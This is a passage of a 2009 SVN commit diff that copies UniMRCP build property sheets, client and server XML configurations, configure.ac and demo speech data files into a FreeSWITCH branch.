+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/sofiasip.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/sofiasip.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/sofiasip.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/sofiasip.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/sofiasip.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="sofiasip"
+	InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unibase.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(SofiaDir)\win32&quot;;&quot;$(SofiaDir)\libsofia-sip-ua\su&quot;;&quot;$(SofiaDir)\libsofia-sip-ua\nua&quot;;&quot;$(SofiaDir)\libsofia-sip-ua\url&quot;;&quot;$(SofiaDir)\libsofia-sip-ua\sip&quot;;&quot;$(SofiaDir)\libsofia-sip-ua\msg&quot;;&quot;$(SofiaDir)\libsofia-sip-ua\sdp&quot;;&quot;$(SofiaDir)\libsofia-sip-ua\nta&quot;;&quot;$(SofiaDir)\libsofia-sip-ua\nea&quot;;&quot;$(SofiaDir)\libsofia-sip-ua\soa&quot;;&quot;$(SofiaDir)\libsofia-sip-ua\iptsec&quot;;&quot;$(SofiaDir)\libsofia-sip-ua\bnf&quot;;&quot;$(SofiaDir)\libsofia-sip-ua\features&quot;"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(SofiaDir)\win32\libsofia-sip-ua\$(ConfigurationName)&quot;"
+	/>
+	<UserMacro
+		Name="SofiaDir"
+		Value="$(LibRootDir)libs\sofia-sip"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unibase.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unibase.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/unibase.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/unibase.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/unibase.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unibase"
+	OutputDirectory="$(SolutionDir)$(ConfigurationName)\bin"
+	IntermediateDirectory="$(ConfigurationName)"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		PreprocessorDefinitions="WIN32"
+		WarningLevel="4"
+		WarnAsError="true"
+		DisableSpecificWarnings="4100"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(OutDir)&quot;"
+	/>
+	<UserMacro
+		Name="ProjectRootDir"
+		Value="$(ProjectDir)..\..\"
+	/>
+	<UserMacro
+		Name="LibRootDir"
+		Value="$(SolutionDir)"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unidebug.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unidebug.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/unidebug.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/unidebug.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/unidebug.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unidebug"
+	InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unibase.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		Optimization="0"
+		PreprocessorDefinitions="_DEBUG"
+		MinimalRebuild="true"
+		BasicRuntimeChecks="3"
+		RuntimeLibrary="3"
+		UsePrecompiledHeader="0"
+		DebugInformationFormat="4"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		LinkIncremental="2"
+		GenerateDebugInformation="true"
+		TargetMachine="1"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unimrcpclient.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unimrcpclient.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/unimrcpclient.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/unimrcpclient.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/unimrcpclient.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unimrcpclient"
+	InheritedPropertySheets=".\mrcpclient.vsprops;.\sofiasip.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(ProjectRootDir)platforms\libunimrcp-client\include&quot;;&quot;$(ProjectRootDir)build&quot;"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(OutDir)&quot;"
+	/>
+	<UserMacro
+		Name="UniMRCPClientLibs"
+		Value="libunimrcpclient.lib mrcpclient.lib mrcpsignaling.lib mrcp.lib aprtoolkit.lib libaprutil-1.lib libapr-1.lib libsofia_sip_ua.lib ws2_32.lib winmm.lib"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unimrcpplugin.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unimrcpplugin.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/unimrcpplugin.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/unimrcpplugin.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/unimrcpplugin.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unimrcpplugin"
+	OutputDirectory="$(SolutionDir)$(ConfigurationName)\plugin"
+	InheritedPropertySheets=".\mrcpengine.vsprops"
+	>
+	<Tool
+		Name="VCLinkerTool"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(SolutionDir)$(ConfigurationName)\bin&quot;"
+		AdditionalDependencies="mrcpengine.lib mrcp.lib mpf.lib aprtoolkit.lib libaprutil-1.lib libapr-1.lib ws2_32.lib"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unimrcpserver.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unimrcpserver.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/unimrcpserver.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/unimrcpserver.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/unimrcpserver.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unimrcpserver"
+	InheritedPropertySheets=".\mrcpserver.vsprops;.\sofiasip.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(ProjectRootDir)platforms\libunimrcp-server\include&quot;;&quot;$(ProjectRootDir)build&quot;"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(OutDir)&quot;"
+	/>
+	<UserMacro
+		Name="UniMRCPServerLibs"
+		Value="libunimrcpserver.lib mrcpserver.lib mrcpsignaling.lib mrcp.lib aprtoolkit.lib libaprutil-1.lib libapr-1.lib libsofia_sip_ua.lib ws2_32.lib winmm.lib"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unirelease.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unirelease.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/unirelease.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/unirelease.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/unirelease.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unirelease"
+	InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unibase.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		PreprocessorDefinitions="NDEBUG;"
+		RuntimeLibrary="2"
+		UsePrecompiledHeader="0"
+		DebugInformationFormat="3"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unirtsp.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/unirtsp.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/unirtsp.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/unirtsp.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/unirtsp.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unirtsp"
+	InheritedPropertySheets="apt.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(ProjectRootDir)libs\uni-rtsp\include&quot;"
+		PreprocessorDefinitions="RTSP_STATIC_LIB"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(OutDir)&quot;"
+	/>
+</VisualStudioPropertySheet>

Copied: freeswitch/branches/seven/libs/unimrcp/conf (from rev 14471, freeswitch/trunk/libs/unimrcp/conf)

Deleted: freeswitch/branches/seven/libs/unimrcp/conf/unimrcpclient.xml

Copied: freeswitch/branches/seven/libs/unimrcp/conf/unimrcpclient.xml (from rev 14471, freeswitch/trunk/libs/unimrcp/conf/unimrcpclient.xml) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/conf/unimrcpclient.xml	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/conf/unimrcpclient.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,76 @@
+<!-- UniMRCP client document -->
+<unimrcpclient>
+  <!-- Client settings (signaling, media, ...) -->
+  <settings>
+    <!-- SIP, RTSP signaling agents -->
+    <signaling>
+      <!-- SofiaSIP MRCPv2 signaling agent -->
+      <agent name="SIP-Agent-1" class="SofiaSIP">
+        <param name="client-ip" value="auto"/>
+        <!-- <param name="client-ext-ip" value="auto"/> -->
+        <param name="client-port" value="8062"/>
+        <param name="server-ip" value="auto"/>
+        <param name="server-port" value="8060"/>
+        <!-- <param name="force-destination" value="1"/> -->
+        <!-- <param name="sip-transport" value="tcp"/> -->
+        <param name="sip-transport" value="udp"/>
+ 
+        <param name="ua-name" value="UniMRCP SofiaSIP"/>
+        <param name="sdp-origin" value="UniMRCPClient"/>
+      </agent>
+      <!-- UniRTSP MRCPv1 signaling agent -->
+      <agent name="RTSP-Agent-1" class="UniRTSP">
+        <param name="server-ip" value="auto"/>
+        <param name="server-port" value="1554"/>
+        <!-- <param name="force-destination" value="1"/> -->
+        <param name="resource-location" value="media"/>
+        <resourcemap>
+          <param name="speechsynth" value="speechsynthesizer"/>
+          <param name="speechrecog" value="speechrecognizer"/>
+        </resourcemap>
+      </agent>
+    </signaling>
+
+    <!-- MRCPv2 connection agents -->
+    <connection>
+      <agent name="MRCPv2-Agent-1">
+        <param name="max-connection-count" value="100"/>
+        <!-- <param name="offer-new-connection" value="1"/> -->
+      </agent>
+    </connection>
+
+    <!-- Media engines -->
+    <media>
+      <engine name="Media-Engine-1"/>
+      <rtp name="RTP-Factory-1">
+        <param name="rtp-ip" value="auto"/>
+        <!-- <param name="rtp-ext-ip" value="auto"/> -->
+        <param name="rtp-port-min" value="4000"/>
+        <param name="rtp-port-max" value="5000"/>
+        <!-- <param name="playout-delay" value="50"/> -->
+        <!-- <param name="max-playout-delay" value="200"/> -->
+        <!-- <param name="ptime" value="20"/> -->
+        <param name="codecs" value="PCMU PCMA L16/96/8000"/>
+      </rtp>
+    </media>
+  </settings>
+
+  <!-- Client profiles -->
+  <profiles>
+    <!-- MRCPv2 default profile -->
+    <profile name="MRCPv2-Default">
+      <param name="signaling-agent" value="SIP-Agent-1"/>
+      <param name="connection-agent" value="MRCPv2-Agent-1"/>
+      <param name="media-engine" value="Media-Engine-1"/>
+      <param name="rtp-factory" value="RTP-Factory-1"/>
+    </profile>
+    <!-- MRCPv1 default profile -->
+    <profile name="MRCPv1-Default">
+      <param name="signaling-agent" value="RTSP-Agent-1"/>
+      <param name="media-engine" value="Media-Engine-1"/>
+      <param name="rtp-factory" value="RTP-Factory-1"/>
+    </profile>
+
+    <!-- more profiles might be added here -->
+  </profiles>
+</unimrcpclient>

Deleted: freeswitch/branches/seven/libs/unimrcp/conf/unimrcpserver.xml

Copied: freeswitch/branches/seven/libs/unimrcp/conf/unimrcpserver.xml (from rev 14471, freeswitch/trunk/libs/unimrcp/conf/unimrcpserver.xml) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/conf/unimrcpserver.xml	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/conf/unimrcpserver.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,82 @@
+<!-- unimrcpserver document -->
+<unimrcpserver>
+  <!-- Server settings (signaling, media, ...) -->
+  <settings>
+    <!-- SIP, RTSP signaling agents -->
+    <signaling>
+      <agent name="SIP-Agent-1" class="SofiaSIP">
+        <param name="sip-ip" value="auto"/>
+        <!-- <param name="sip-ext-ip" value="auto"/> -->
+        <param name="sip-port" value="8060"/>
+        <param name="sip-transport" value="udp,tcp"/>
+        <!-- <param name="force-destination" value="1"/> -->
+ 
+        <param name="ua-name" value="UniMRCP SofiaSIP"/>
+        <param name="sdp-origin" value="UniMRCPServer"/>
+      </agent>
+      <agent name="RTSP-Agent-1" class="UniRTSP">
+        <param name="rtsp-ip" value="auto"/>
+        <param name="rtsp-port" value="1554"/>
+        <!-- <param name="force-destination" value="1"/> -->
+        <resourcemap>
+          <param name="speechsynth" value="speechsynthesizer"/>
+          <param name="speechrecog" value="speechrecognizer"/>
+        </resourcemap>
+      </agent>
+    </signaling>
+
+    <!-- MRCPv2 connection agents -->
+    <connection>
+      <agent name="MRCPv2-Agent-1">
+        <param name="mrcp-ip" value="auto"/>
+        <param name="mrcp-port" value="1544"/>
+        <param name="max-connection-count" value="100"/>
+        <!-- <param name="force-new-connection" value="1"/> -->
+      </agent>
+    </connection>
+
+    <!-- Media engines -->
+    <media>
+      <engine name="Media-Engine-1"/>
+      <rtp name="RTP-Factory-1">
+        <param name="rtp-ip" value="auto"/>
+        <!-- <param name="rtp-ext-ip" value="auto"/> -->
+        <param name="rtp-port-min" value="5000"/>
+        <param name="rtp-port-max" value="6000"/>
+        <!-- <param name="playout-delay" value="50"/> -->
+        <!-- <param name="max-playout-delay" value="200"/> -->
+        <!-- <param name="ptime" value="20"/> -->
+        <param name="codecs" value="PCMU PCMA L16/96/8000"/>
+        <!-- <param name="own-preference" value="1"/> -->
+      </rtp>
+    </media>
+
+    <!-- Resource plugins -->
+    <plugin>
+      <engine name="Cepstral-Swift-1" class="mrcpcepstral" enable="0"/>
+      <engine name="PocketSphinx-1" class="mrcppocketsphinx" enable="0"/>
+      <engine name="Flite-1" class="mrcpflite" enable="0"/>
+      <engine name="Demo-Synth-1" class="demosynth" enable="1"/>
+      <engine name="Demo-Recog-1" class="demorecog" enable="1"/>
+    </plugin>
+  </settings>
+
+  <!-- Server profiles -->
+  <profiles>
+    <!-- MRCPv2 default profile -->
+    <profile name="MRCPv2-Default">
+      <param name="signaling-agent" value="SIP-Agent-1"/>
+      <param name="connection-agent" value="MRCPv2-Agent-1"/>
+      <param name="media-engine" value="Media-Engine-1"/>
+      <param name="rtp-factory" value="RTP-Factory-1"/>
+    </profile>
+    <!-- MRCPv1 default profile -->
+    <profile name="MRCPv1-Default">
+      <param name="signaling-agent" value="RTSP-Agent-1"/>
+      <param name="media-engine" value="Media-Engine-1"/>
+      <param name="rtp-factory" value="RTP-Factory-1"/>
+    </profile>
+
+    <!-- more profiles might be added here -->
+  </profiles>
+</unimrcpserver>

Deleted: freeswitch/branches/seven/libs/unimrcp/configure.ac

Copied: freeswitch/branches/seven/libs/unimrcp/configure.ac (from rev 14471, freeswitch/trunk/libs/unimrcp/configure.ac) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/configure.ac	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/configure.ac	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,218 @@
+#                                               -*- Autoconf -*-
+# Process this file with autoconf to produce a configure script.
+
+AC_PREREQ(2.57)
+
+AC_INIT([unimrcp],[0.6.0])
+
+AC_CONFIG_AUX_DIR([build])
+AC_CONFIG_MACRO_DIR([build/acmacros])
+AC_PREFIX_DEFAULT(/usr/local/unimrcp)
+
+plugindir='${prefix}/plugin'
+confdir='${prefix}/conf'
+logdir='${prefix}/log'
+datadir='${prefix}/data'
+
+AM_INIT_AUTOMAKE(foreign)
+
+# Set default language
+AC_LANG_C
+
+AC_PROG_CC
+AC_PROG_CXX
+AC_PROG_INSTALL
+
+# Skip detection of Fortran
+m4_undefine([AC_PROG_F77])
+m4_defun([AC_PROG_F77],[])
+AC_PROG_LIBTOOL
+
+# Get version information
+get_version="build/get-version.sh"
+version_hdr="build/uni_version.h"
+plugin_version_hdr="libs/mrcp-engine/include/mrcp_resource_plugin.h"
+UNI_DOTTED_VERSION="`$get_version all $version_hdr UNI`"
+UNI_LT_VERSION="-version-info `$get_version libtool $version_hdr UNI`"
+PLUGIN_LT_VERSION="-version-info `$get_version libtool $plugin_version_hdr PLUGIN`"
+
+AC_SUBST(UNI_DOTTED_VERSION)
+AC_SUBST(UNI_LT_VERSION)
+AC_SUBST(PLUGIN_LT_VERSION)
+
+echo "UniMRCP Version: ${UNI_DOTTED_VERSION}"
+
+# Check APR
+UNIMRCP_CHECK_APR
+UNIMRCP_CHECK_APU
+
+# Check SOFIA
+UNIMRCP_CHECK_SOFIA
+
+
+
+AC_SUBST(ac_aux_dir)
+AC_SUBST(ac_macro_dir)
+AC_SUBST(plugindir)
+AC_SUBST(confdir)
+AC_SUBST(logdir)
+
+AC_DEFUN([AX_COMPILER_VENDOR],
+[
+AC_CACHE_CHECK([for _AC_LANG compiler vendor], ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor,
+ [ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor=unknown
+  # note: don't check for gcc first since some other compilers define __GNUC__
+  for ventest in intel:__ICC,__ECC,__INTEL_COMPILER ibm:__xlc__,__xlC__,__IBMC__,__IBMCPP__ gnu:__GNUC__ sun:__SUNPRO_C,__SUNPRO_CC hp:__HP_cc,__HP_aCC dec:__DECC,__DECCXX,__DECC_VER,__DECCXX_VER borland:__BORLANDC__,__TURBOC__ comeau:__COMO__ cray:_CRAYC kai:__KCC lcc:__LCC__ metrowerks:__MWERKS__ sgi:__sgi,sgi microsoft:_MSC_VER watcom:__WATCOMC__ portland:__PGI; do
+    vencpp="defined("`echo $ventest | cut -d: -f2 | sed 's/,/) || defined(/g'`")"
+    AC_COMPILE_IFELSE([AC_LANG_PROGRAM(,[
+#if !($vencpp)
+      thisisanerror;
+#endif
+])], [ax_cv_]_AC_LANG_ABBREV[_compiler_vendor=`echo $ventest | cut -d: -f1`; break])
+  done
+ ])
+])
+
+AX_COMPILER_VENDOR
+
+#Enable maintainer mode
+AC_ARG_ENABLE(maintainer-mode,
+    [AC_HELP_STRING([--enable-maintainer-mode  ],[turn on debugging and compile time warnings])],
+    [enable_maintainer_mode="$enableval"],
+    [enable_maintainer_mode="no"])
+
+if test "${enable_maintainer_mode}" != "no"; then
+    CFLAGS="$CFLAGS -g"
+    if test "x${ax_cv_c_compiler_vendor}"  =  "xgnu" ; then
+      CFLAGS="$CFLAGS -Wall -Werror"
+    fi
+fi
+
+#Enable test suites
+AC_ARG_ENABLE(test-suites,
+    [AC_HELP_STRING([--enable-test-suites  ],[build test suites])],
+    [enable_test_suites="$enableval"],
+    [enable_test_suites="no"])
+
+AM_CONDITIONAL([TEST_SUITES],[test "${enable_test_suites}" != "no"])
+
+
+### Plugins ###
+
+#Enable demo synthesizer plugin
+AC_ARG_ENABLE(demosynth-plugin,
+    [AC_HELP_STRING([--disable-demosynth-plugin  ],[exclude demo synthesizer plugin from build])],
+    [enable_demosynth_plugin="$enableval"],
+    [enable_demosynth_plugin="yes"])
+
+AM_CONDITIONAL([DEMOSYNTH_PLUGIN],[test "${enable_demosynth_plugin}" = "yes"])
+
+
+#Enable demo recognizer plugin
+AC_ARG_ENABLE(demorecog-plugin,
+    [AC_HELP_STRING([--disable-demorecog-plugin  ],[exclude demo recognizer plugin from build])],
+    [enable_demorecog_plugin="$enableval"],
+    [enable_demorecog_plugin="yes"])
+
+AM_CONDITIONAL([DEMORECOG_PLUGIN],[test "${enable_demorecog_plugin}" = "yes"])
+
+
+#Enable Cepstral Swift plugin
+AC_ARG_ENABLE(cepstral-plugin,
+    [AC_HELP_STRING([--disable-cepstral-plugin  ],[exclude cepstral plugin from build])],
+    [enable_cepstral_plugin="$enableval"],
+    [enable_cepstral_plugin="yes"])
+
+if test "${enable_cepstral_plugin}" != "no"; then
+    UNIMRCP_CHECK_SWIFT
+fi
+
+AM_CONDITIONAL([CEPSTRAL_PLUGIN],[test "${enable_cepstral_plugin}" = "yes" &&\
+                                  test "${found_swift}" = "yes"])
+
+
+#Enable PocketSphinx plugin
+AC_ARG_ENABLE(pocketsphinx-plugin,
+    [AC_HELP_STRING([--enable-pocketsphinx-plugin  ],[enable pocketsphinx plugin])],
+    [enable_pocketsphinx_plugin="$enableval"],
+    [enable_pocketsphinx_plugin="no"])
+
+if test "${enable_pocketsphinx_plugin}" != "no"; then
+    UNIMRCP_CHECK_SPHINXBASE
+    UNIMRCP_CHECK_POCKETSPHINX
+fi
+
+AM_CONDITIONAL([POCKETSPHINX_PLUGIN],[test "${enable_pocketsphinx_plugin}" = "yes" &&\
+                                      test "${found_pocketsphinx}" = "yes" &&\
+                                      test "${found_sphinxbase}" = "yes"])
+
+
+#Enable Flite plugin
+AC_ARG_ENABLE(flite-plugin,
+    [AC_HELP_STRING([--enable-flite-plugin  ],[enable flite plugin])],
+    [enable_flite_plugin="$enableval"],
+    [enable_flite_plugin="no"])
+
+if test "${enable_flite_plugin}" != "no"; then
+    UNIMRCP_CHECK_FLITE
+fi
+
+AM_CONDITIONAL([FLITE_PLUGIN],[test "${enable_flite_plugin}" = "yes" &&\
+                               test "${found_flite}" = "yes"])
+
+
+AM_CONDITIONAL(ISMAC, [test `uname -s` = Darwin])
+
+AC_CONFIG_FILES([
+  Makefile
+  libs/Makefile
+  libs/apr-toolkit/Makefile
+  libs/mpf/Makefile
+  libs/mrcp/Makefile
+  libs/mrcp-signaling/Makefile
+  libs/mrcpv2-transport/Makefile
+  libs/mrcp-engine/Makefile
+  libs/mrcp-server/Makefile
+  libs/mrcp-client/Makefile
+  libs/uni-rtsp/Makefile
+  modules/Makefile
+  modules/mrcp-sofiasip/Makefile
+  modules/mrcp-unirtsp/Makefile
+  plugins/Makefile
+  plugins/mrcp-cepstral/Makefile
+  plugins/mrcp-pocketsphinx/Makefile
+  plugins/mrcp-flite/Makefile
+  plugins/demo-synth/Makefile
+  plugins/demo-recog/Makefile
+  platforms/Makefile
+  platforms/libunimrcp-server/Makefile
+  platforms/libunimrcp-client/Makefile
+  platforms/unimrcp-server/Makefile
+  platforms/unimrcp-client/Makefile
+  tests/Makefile
+  tests/apttest/Makefile
+  tests/mpftest/Makefile
+  tests/mrcptest/Makefile
+  tests/rtsptest/Makefile
+  tests/strtablegen/Makefile
+  build/Makefile
+  build/pkgconfig/Makefile
+  build/pkgconfig/unimrcpclient.pc
+  build/pkgconfig/unimrcpserver.pc
+  build/pkgconfig/unimrcpplugin.pc
+])
+
+AC_OUTPUT
+
+AC_MSG_NOTICE
+AC_MSG_NOTICE([Report:])
+AC_MSG_NOTICE([  UniMRCP: $UNI_DOTTED_VERSION])
+AC_MSG_NOTICE([  APR: $apr_version])
+AC_MSG_NOTICE([  APR-Util: $apu_version])
+AC_MSG_NOTICE([  Sofia-SIP: $sofia_version])
+AC_MSG_NOTICE([Plugins:])
+AC_MSG_NOTICE([  Demo Synthesizer: $enable_demosynth_plugin])
+AC_MSG_NOTICE([  Demo Recognizer: $enable_demorecog_plugin])
+AC_MSG_NOTICE([  Cepstral: $enable_cepstral_plugin])
+AC_MSG_NOTICE([  PocketSphinx: $enable_pocketsphinx_plugin])
+AC_MSG_NOTICE([  Flite: $enable_flite_plugin])

Deleted: freeswitch/branches/seven/libs/unimrcp/configure.gnu

Copied: freeswitch/branches/seven/libs/unimrcp/configure.gnu (from rev 14471, freeswitch/trunk/libs/unimrcp/configure.gnu) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/configure.gnu	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/configure.gnu	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+#! /bin/sh
+./configure "$@" --with-apr=../apr --disable-shared --with-pic --with-apr-util=../apr-util --with-sofia-sip=../sofia-sip
+

Copied: freeswitch/branches/seven/libs/unimrcp/data (from rev 14471, freeswitch/trunk/libs/unimrcp/data)

Deleted: freeswitch/branches/seven/libs/unimrcp/data/demo.pcm

Copied: freeswitch/branches/seven/libs/unimrcp/data/demo.pcm (from rev 14471, freeswitch/trunk/libs/unimrcp/data/demo.pcm)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/unimrcp/data/grammar.xml

Copied: freeswitch/branches/seven/libs/unimrcp/data/grammar.xml (from rev 14471, freeswitch/trunk/libs/unimrcp/data/grammar.xml) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/data/grammar.xml	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/data/grammar.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+<?xml version="1.0"?>
+<grammar xmlns="http://www.w3.org/2001/06/grammar" xml:lang="en-US" version="1.0" mode="voice" root="digit">
+  <rule id="digit">
+    <one-of>
+      <item>one</item>
+      <item>two</item>
+      <item>three</item>
+    </one-of>
+  </rule>
+</grammar>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/data/one.pcm

Copied: freeswitch/branches/seven/libs/unimrcp/data/one.pcm (from rev 14471, freeswitch/trunk/libs/unimrcp/data/one.pcm)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/unimrcp/data/result.xml

Copied: freeswitch/branches/seven/libs/unimrcp/data/result.xml (from rev 14471, freeswitch/trunk/libs/unimrcp/data/result.xml) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/data/result.xml	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/data/result.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7 @@
+<?xml version="1.0"?>
+<result> 
+  <interpretation grammar="session:request1@form-level.store" confidence="97">
+    <instance>one</instance>
+    <input mode="speech">one</input>
+  </interpretation>
+</result>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/data/speak.xml

Copied: freeswitch/branches/seven/libs/unimrcp/data/speak.xml (from rev 14471, freeswitch/trunk/libs/unimrcp/data/speak.xml) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/data/speak.xml	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/data/speak.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+<?xml version="1.0"?>
+<speak>
+  <paragraph>
+    <sentence>Hello World.</sentence>
+  </paragraph>
+</speak>
\ No newline at end of file

Copied: freeswitch/branches/seven/libs/unimrcp/docs (from rev 14471, freeswitch/trunk/libs/unimrcp/docs)

Deleted: freeswitch/branches/seven/libs/unimrcp/docs/doxygen.conf

Copied: freeswitch/branches/seven/libs/unimrcp/docs/doxygen.conf (from rev 14471, freeswitch/trunk/libs/unimrcp/docs/doxygen.conf) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/docs/doxygen.conf	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/docs/doxygen.conf	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+PROJECT_NAME="UniMRCP"
+
+INPUT=.
+QUIET=YES
+RECURSIVE=YES
